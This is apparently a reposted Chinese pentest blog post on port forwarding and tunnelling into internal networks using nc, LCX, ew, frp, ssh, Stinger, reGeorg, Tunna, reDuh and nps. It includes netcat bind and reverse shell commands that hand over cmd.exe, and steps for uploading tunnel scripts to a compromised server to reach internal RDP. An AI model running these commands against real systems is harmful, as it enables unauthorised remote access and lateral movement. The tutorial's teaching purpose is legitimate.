代理转发

admin 2022年1月6日01:03:51评论93 views字数 5654阅读18分50秒阅读模式

概念

代理转发就是将一个端口,端口可以为主机端口也可以是访问到的人以主机的端口,转发到任意一台可以访问到的IP上

区分正向连接和反向连接

  • 正向连接:你的机器连接目标机器
  • 反向连接:目标机器反连你的机器(当防火墙设置端口过滤的话使用)
  • 不论映射,还是转发,都有正有反,原理相同

img

工具使用

NC

nc的正向连接:

公网服务器上监听他的cmd.exe 命令为:nc.exe -l -p 4444 -e cmd.exe

在攻击者上监听nc -vv 公网服务器ip 4444

可以获取到公网服务器的cmd

nc的反向代理:

在公网服务器上监听自己的4444端口:nc.exe -lvp 4444

在内网主机中进行:nc -t -e cmd.exe 公网ip 4444

公网可成功获取内网cmd

LCX

LCX的内网端口转发(防火墙做过滤不允许别人连接自己的3389)

内网执行lcx.exe -slave 公网ip 4444 127.0.0.1 3389 内网将自己的3389端口转发到公网的4444端口

公网主机监听自己端口 lcx.exe -listen 4444 5555

则攻击者连接公网ip的5555端口即可连接上内网的3389

LCX的本地端口转发(防火墙做过滤不允许自己的3389连接出去)

防火墙限制,部分端口无法通过防火墙,可以将目标主机的3389端口传到允许的其他端口比如53,则在目标主机执行:lcx -tran 53 目标主机ip 3389

可以直接连接目标主机的ip:53

ew做代理

首先在VPS上做相应的代理监听:

./ew_for_Linux32 -s rcsocks -l 1008 -e 888

在VPS上 监听888端口 并加端口转发给 本地的 1008端口

0

在客户端(内网环境)连接VPS的888端口

ew_for_Win.exe -s rssocks -d 104.224.150.102 -e 888

0

🌂利用相应的代理软件 来监听 VPS的1008端口既可以进行内网穿透式连接

0

利用frp做代理

download:https://github.com/fatedier/frp/releases

首先在VPS上做如下配置:

修改 frps.ini

bind_port = 8080

privilege_token = pentest999

运行 nohup ./frps -c frps.ini &

0

在客户端上做如下配置:

修改 frpc.ini

[common]

server_addr = vps ip

server_port = 8080

privilege_token = pentest999

[plugin_socks5]

type = tcp

remote_port = 8081

plugin = socks5

plugin_user = ptest33333

plugin_passwd = ptest66666

运行 frpc -c fprc.ini

🌂利用相应的socks5代理连接 VPS的 8081端口即可

ssh 隧道代理转发

ssh 有三个强大的端口转发命令,分别是本地转发、远程转发、动态转发。

本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道 监听本地port 可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道
用于内网穿透防火墙限制之类
socket 代理: ssh -qTfnN -D port remotehost

毒刺Stinger进行端口转发

端口转发

  1. 将stinger_server和proxy.php上传到目标服务器,确保 http://192.168.1.106:81/proxy.php可以访问,页面返回 stinger XXX!
  2. 目标服务器执行如下命令启动代理服务(使用菜刀执行命令时可以添加start /b 或& 后台运行,确保服务端7000端口未被占用)

PS C:\Users\test\Desktop> .\stinger_server_win_x64.exe -listen 127.0.0.1:7000 -username test -password testpass

  1. 本地PC执行如下命令连接代理脚本

stinger_client_win_x64.exe -local 127.0.0.1:1080 -proxy_server http://192.168.1.106:81/proxy.php -remote_server http://127.0.0.1:7000 -remote 127.0.0.1:3389 -username test -password testpass

  1. 此时已经将192.168.1.106的3389端口映射到了你本地pc的1080端口

SOCK5代理

  1. 将stinger_server和proxy.php上传到目标服务器,确保 http://192.168.1.106:81/proxy.php可以访问,页面返回 stinger XXX!
  2. 目标服务器执行如下命令启动代理服务(使用菜刀执行命令时可以添加start /b 或& 后台运行,确保服务端7000,8000端口未被占用)

PS C:\Users\test\Desktop> .\stinger_server_win_x64.exe -listen 127.0.0.1:7000 -username test -password testpass -socks5Addr 127.0.0.1:8000

  1. 本地PC执行如下命令连接代理脚本

stinger_client_win_x64.exe -local 127.0.0.1:1080 -proxy_server http://192.168.1.106:81/proxy.php -remote_server http://127.0.0.1:7000 -remote 127.0.0.1:8000 -username test -password testpass

  1. 此时你本地PC已经在1080生成一个SOCKS5代理,可以使用该代理访问目标内网

已测试

stinger_server\stinger_client

  • windows
  • linux

proxy.jsp/php/aspx

  • php7.2
  • tomcat7.0
  • iis8.0

已知问题

  • client端的socket连接无法自动释放

结语

  • php是最好的语言
  • 啊D是最好的渗透测试工具

reGeorg端口转发

reGeorg不用多介绍了,内网渗透中常用工具之一。小白经常用于渗透测试中的内网转发,主要是因为方便实用。这个工具需要配合

proxifier,使用的socks5代理进行运用的。标红的是我们需要的脚本,根据自己的需要结合实际测试环境来选用的。

首先我们现经代理脚本上传到服务器,实验的环境是jsp的,所以上传代理脚本tunnel.nosocket.jsp,然后我们在浏览器访问一下,如果出现以下提示就说明代理成功。

image-20200913233151005

上传代理脚本成功后,我们打开proxifier进行配置参数,代理的端口默认是8888,代理的规则我们设置为谷歌浏览器,如果其它的不需要可以去掉勾:

image-20200913233205362

image-20200913233216450

上述代理参数配置完毕后,我们在cmd输入一下命令就会出现下面的界面:python2.exe reGeorgSocksProxy.py -p 8888 -uhttp://xxxx:8888/tran.jsp。这样的话我们就把内网的流量代理到外面,我们下一步就可以使用扫描工具进行内网的横向扫描。就这么简单直接。如果内网中的3389只能是内网进行连接的话,我们可以使用mstsc.exe通过代理进行连接3389远程桌面,其它的端口都是一样的道理,灵活运用即可。

Tunna端口转发

Tunna这个工具使用起来也特方便,脚本的编写也是基于Python2版本。运用的时候也需要我们把代理脚本上传到目标服务器,然后通过代理内网的某个端口,注意这个工具只能代理一个端口,有点局限性。但是我们可以代理3389、22、3306、1433等敏感端口,然后将敏感端口流量转发了外网的的某个端口,我们再通过本地连接外网的端口进行连接,这样的话我们就可以使用了。

第一步:我们将代理脚本上传到目标服务器,在浏览器访问代理脚本是否被解析

第二步:运行proxy.py 并指定端口 python proxy.py -uhttp://192.168.205.143/conn.php -l 1234 -r 3389 -v

第三步:本地执行rdesktop 127.0.0.1:1234

reDuh端口转发

reDuh也是一款内网渗透利器,这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。服务端是个webshell,工具里面针对不同服务器有aspx,php,jsp三个版本,客户端是java写的,本机执行最好装上JDK软件。

我们将代理脚本上传到目标服务器,在本地访问代理脚本

这样我们执行一下三条命令就可以成功将目标主机的3389端口代理到本地的1234端口,本地连接1234端口就可以登陆内网服务器。

java -jar reDuhClient.ja rhttp://somesite.com/reDuh.php

本地连接1010端口

nc -vv localhost 1010

连接成功会有欢迎提示,之后输入命,在java命令窗口执行

[createTunnel]1234:127.0.0.1:3389

基于powershell的socks代理

介绍github:

1
https://raw.githubusercontent.com/p3nt4/Invoke-SocksProxy/master/Invoke-SocksProxy.psm1

在1234端口创建一个Socks 4/5 代理:

1
2
3
Import-Module .\Invoke-SocksProxy.psm1

Invoke-SocksProxy -bindPort 1234

img

img

效果:

这里用同网段的另一个win7,使用Proxifer去使用靶机的1234端口进行socks代理

img

img

img

增加线程(默认是200,增加到400,默认端口1080):

1
2
3
Import-Module .\Invoke-SocksProxy.psm1

Invoke-SocksProxy -threads 400

img

nps

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理p2p等,并带有功能强大的web管理端。

背景

  1. 做微信公众号开发、小程序开发等—-> 域名代理模式
  2. 想在外网通过ssh连接内网的机器,做云服务器到内网服务器端口的映射,—-> tcp代理模式
  3. 在非内网环境下使用内网dns,或者需要通过udp访问内网机器等—-> udp代理模式
  4. 在外网使用HTTP代理访问内网站点—-> http代理模式
  5. 搭建一个内网穿透ss,在外网如同使用内网vpn一样访问内网资源或者设备—-> socks5代理模式

特点

  • 协议支持全面,兼容几乎所有常用协议,例如tcp、udp、http(s)、socks5、p2p、http代理…
  • 全平台兼容(linux、windows、macos、群辉等),支持一键安装为系统服务
  • 控制全面,同时支持服务端和客户端控制
  • https集成,支持将后端代理和web服务转成https,同时支持多证书
  • 操作简单,只需简单的配置即可在web ui上完成其余操作
  • 展示信息全面,流量、系统信息、即时带宽、客户端版本等
  • 扩展功能强大,该有的都有了(缓存、压缩、加密、流量限制、带宽限制、端口复用等等)
  • 域名解析具备自定义header、404页面配置、host修改、站点保护、URL路由、泛解析等功能
  • 服务端支持多用户和用户注册功能

安装

releases

服务端启动

下载完服务器压缩包后,解压,然后进入解压后的文件夹

  • 执行安装命令

对于linux|darwin sudo ./nps install

对于windows,管理员身份运行cmd,进入安装目录 nps.exe install

  • 默认端口

nps默认配置文件使用了80,443,8080,8024端口

80与443端口为域名解析模式默认端口

8080为web管理访问端口

8024为网桥端口,用于客户端与服务器通信

  • 启动

对于linux|darwin sudo nps start

对于windows,管理员身份运行cmd,进入程序目录 nps.exe start

1
安装后windows配置文件位于 C:\Program Files\nps,linux和darwin位于/etc/nps

如果发现没有启动成功,可以查看日志(Windows日志文件位于当前运行目录下,linux和darwin位于/var/log/nps.log)

  • 访问服务端ip:web服务端口(默认为8080)
  • 使用用户名和密码登陆(默认admin/123,正式使用一定要更改)
  • 创建客户端

客户端连接

  • 点击web管理中客户端前的+号,复制启动命令
  • 执行启动命令,linux直接执行即可,windows将./npc换成npc.exe用cmd执行

配置

  • 客户端连接后,在web中配置对应穿透服务即可

更多用法以及详细教程

https://ehang-io.github.io/nps/

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:03:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   代理转发http://cn-sec.com/archives/720919.html

发表评论

匿名网友 填写信息